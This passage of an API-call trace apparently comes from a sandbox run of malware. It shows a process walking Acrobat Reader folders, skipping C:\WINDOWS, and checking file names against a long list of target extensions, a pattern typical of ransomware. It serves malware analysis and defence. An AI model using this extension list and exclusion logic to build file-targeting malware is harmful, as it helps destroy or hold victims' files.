ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0199.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.262] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0199.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.262] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0199.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.263] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0199.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.263] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0199.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.263] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0199.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.263] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0199.263] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il") returned 106 [0199.264] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il") returned 1 [0199.264] lstrlenW (lpString="he-il") returned 5 [0199.264] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="he-il") returned -1 [0199.264] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0199.264] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il") returned 106 [0199.264] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44207a0 [0199.264] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.264] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.264] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0199.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.264] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0199.264] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 106 [0199.264] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 1 [0199.264] lstrlenW (lpString="hr-hr") returned 5 [0199.264] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hr-hr") returned -1 [0199.264] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0199.264] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 106 [0199.264] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44207a0 [0199.264] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.265] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.265] lstrlenW (lpString="ui-strings.js") returned 13 [0199.265] lstrlenW (lpString=".1cd") returned 4 [0199.265] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0199.265] lstrlenW (lpString=".3ds") returned 4 [0199.265] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0199.265] lstrlenW (lpString=".3fr") returned 4 [0199.265] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0199.265] lstrlenW (lpString=".3g2") returned 4 [0199.265] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0199.265] lstrlenW (lpString=".3gp") returned 4 [0199.265] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0199.265] lstrlenW (lpString=".7z") returned 3 [0199.265] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0199.265] lstrlenW (lpString=".accda") returned 6 [0199.265] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0199.265] lstrlenW (lpString=".accdb") returned 6 [0199.265] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0199.265] lstrlenW (lpString=".accdc") returned 6 [0199.265] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0199.265] lstrlenW (lpString=".accde") returned 6 [0199.265] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0199.265] lstrlenW (lpString=".accdt") returned 6 [0199.265] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0199.265] lstrlenW (lpString=".accdw") returned 6 [0199.265] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0199.265] lstrlenW (lpString=".adb") returned 4 [0199.265] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0199.265] lstrlenW (lpString=".adp") returned 4 [0199.265] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".ai") returned 3 [0199.266] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0199.266] lstrlenW (lpString=".ai3") returned 4 [0199.266] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".ai4") returned 4 [0199.266] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".ai5") returned 4 [0199.266] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".ai6") returned 4 [0199.266] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".ai7") returned 4 [0199.266] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".ai8") returned 4 [0199.266] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".anim") returned 5 [0199.266] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0199.266] lstrlenW (lpString=".arw") returned 4 [0199.266] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".as") returned 3 [0199.266] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0199.266] lstrlenW (lpString=".asa") returned 4 [0199.266] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".asc") returned 4 [0199.266] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0199.266] lstrlenW (lpString=".ascx") returned 5 [0199.266] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0199.267] lstrlenW (lpString=".asm") returned 4 [0199.267] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0199.267] lstrlenW (lpString=".asmx") returned 5 [0199.267] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0199.267] lstrlenW (lpString=".asp") returned 4 [0199.267] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0199.267] lstrlenW (lpString=".aspx") returned 5 [0199.267] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0199.267] lstrlenW (lpString=".asr") returned 4 [0199.267] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0199.267] lstrlenW (lpString=".asx") returned 4 [0199.267] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0199.267] lstrlenW (lpString=".avi") returned 4 [0199.267] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0199.267] lstrlenW (lpString=".avs") returned 4 [0199.267] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0199.267] lstrlenW (lpString=".backup") returned 7 [0199.268] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0199.268] lstrlenW (lpString=".bak") returned 4 [0199.268] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".bay") returned 4 [0199.268] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".bd") returned 3 [0199.268] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0199.268] lstrlenW (lpString=".bin") returned 4 [0199.268] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".bmp") returned 4 [0199.268] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".bz2") returned 4 [0199.268] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".c") returned 2 [0199.268] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0199.268] lstrlenW (lpString=".cdr") returned 4 [0199.268] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".cer") returned 4 [0199.268] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".cf") returned 3 [0199.268] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0199.268] lstrlenW (lpString=".cfc") returned 4 [0199.268] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".cfm") returned 4 [0199.268] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".cfml") returned 5 [0199.268] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0199.268] lstrlenW (lpString=".cfu") returned 4 [0199.268] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".chm") returned 4 [0199.268] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0199.268] lstrlenW (lpString=".cin") returned 4 [0199.269] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".class") returned 6 [0199.269] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0199.269] lstrlenW (lpString=".clx") returned 4 [0199.269] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".config") returned 7 [0199.269] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0199.269] lstrlenW (lpString=".cpp") returned 4 [0199.269] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".cr2") returned 4 [0199.269] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".crt") returned 4 [0199.269] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".crw") returned 4 [0199.269] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".cs") returned 3 [0199.269] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0199.269] lstrlenW (lpString=".css") returned 4 [0199.269] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".csv") returned 4 [0199.269] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".cub") returned 4 [0199.269] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".dae") returned 4 [0199.269] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0199.269] lstrlenW (lpString=".dat") returned 4 [0199.270] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0199.270] lstrlenW (lpString=".db") returned 3 [0199.270] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0199.270] lstrlenW (lpString=".dbf") returned 4 [0199.270] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0199.270] lstrlenW (lpString=".dbx") returned 4 [0199.270] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0199.270] lstrlenW (lpString=".dc3") returned 4 [0199.270] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0199.270] lstrlenW (lpString=".dcm") returned 4 [0199.270] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0199.270] lstrlenW (lpString=".dcr") returned 4 [0199.536] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0199.536] lstrlenW (lpString=".der") returned 4 [0199.536] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0199.536] lstrlenW (lpString=".dib") returned 4 [0199.536] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0199.536] lstrlenW (lpString=".dic") returned 4 [0199.536] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0199.536] lstrlenW (lpString=".dif") returned 4 [0199.536] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0199.536] lstrlenW (lpString=".divx") returned 5 [0199.536] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0199.536] lstrlenW (lpString=".djvu") returned 5 [0199.536] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0199.536] lstrlenW (lpString=".dng") returned 4 [0199.536] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0199.536] lstrlenW (lpString=".doc") returned 4 [0199.536] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0199.537] lstrlenW (lpString=".docm") returned 5 [0199.537] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0199.537] lstrlenW (lpString=".docx") returned 5 [0199.537] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0199.537] lstrlenW (lpString=".dot") returned 4 [0199.537] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0199.537] lstrlenW (lpString=".dotm") returned 5 [0199.537] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0199.537] lstrlenW (lpString=".dotx") returned 5 [0199.537] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0199.537] lstrlenW (lpString=".dpx") returned 4 [0199.537] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".dqy") returned 4 [0199.538] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".dsn") returned 4 [0199.538] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".dt") returned 3 [0199.538] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0199.538] lstrlenW (lpString=".dtd") returned 4 [0199.538] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".dwg") returned 4 [0199.538] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".dwt") returned 4 [0199.538] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".dx") returned 3 [0199.538] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0199.538] lstrlenW (lpString=".dxf") returned 4 [0199.538] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".edml") returned 5 [0199.538] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0199.538] lstrlenW (lpString=".efd") returned 4 [0199.538] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".elf") returned 4 [0199.538] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".emf") returned 4 [0199.538] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".emz") returned 4 [0199.538] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".epf") returned 4 [0199.538] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".eps") returned 4 [0199.538] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0199.538] lstrlenW (lpString=".epsf") returned 5 [0199.539] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0199.539] lstrlenW (lpString=".epsp") returned 5 [0199.539] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0199.539] lstrlenW (lpString=".erf") returned 4 [0199.539] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".exr") returned 4 [0199.539] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".f4v") returned 4 [0199.539] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".fido") returned 5 [0199.539] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0199.539] lstrlenW (lpString=".flm") returned 4 [0199.539] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".flv") returned 4 [0199.539] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".frm") returned 4 [0199.539] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".fxg") returned 4 [0199.539] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".geo") returned 4 [0199.539] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".gif") returned 4 [0199.539] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".grs") returned 4 [0199.539] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".gz") returned 3 [0199.539] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0199.539] lstrlenW (lpString=".h") returned 2 [0199.539] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0199.539] lstrlenW (lpString=".hdr") returned 4 [0199.539] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0199.539] lstrlenW (lpString=".hpp") returned 4 [0199.540] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".hta") returned 4 [0199.540] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".htc") returned 4 [0199.540] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".htm") returned 4 [0199.540] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".html") returned 5 [0199.540] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0199.540] lstrlenW (lpString=".icb") returned 4 [0199.540] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".ics") returned 4 [0199.540] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".iff") returned 4 [0199.540] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".inc") returned 4 [0199.540] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".indd") returned 5 [0199.540] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0199.540] lstrlenW (lpString=".ini") returned 4 [0199.540] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".iqy") returned 4 [0199.540] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".j2c") returned 4 [0199.540] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".j2k") returned 4 [0199.540] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".java") returned 5 [0199.540] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0199.540] lstrlenW (lpString=".jp2") returned 4 [0199.540] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0199.540] lstrlenW (lpString=".jpc") returned 4 [0199.541] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0199.541] lstrlenW (lpString=".jpe") returned 4 [0199.541] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0199.541] lstrlenW (lpString=".jpeg") returned 5 [0199.541] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0199.541] lstrlenW (lpString=".jpf") returned 4 [0199.541] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0199.541] lstrlenW (lpString=".jpg") returned 4 [0199.541] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0199.541] lstrlenW (lpString=".jpx") returned 4 [0199.541] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0199.541] lstrlenW (lpString=".js") returned 3 [0199.541] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0199.541] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, 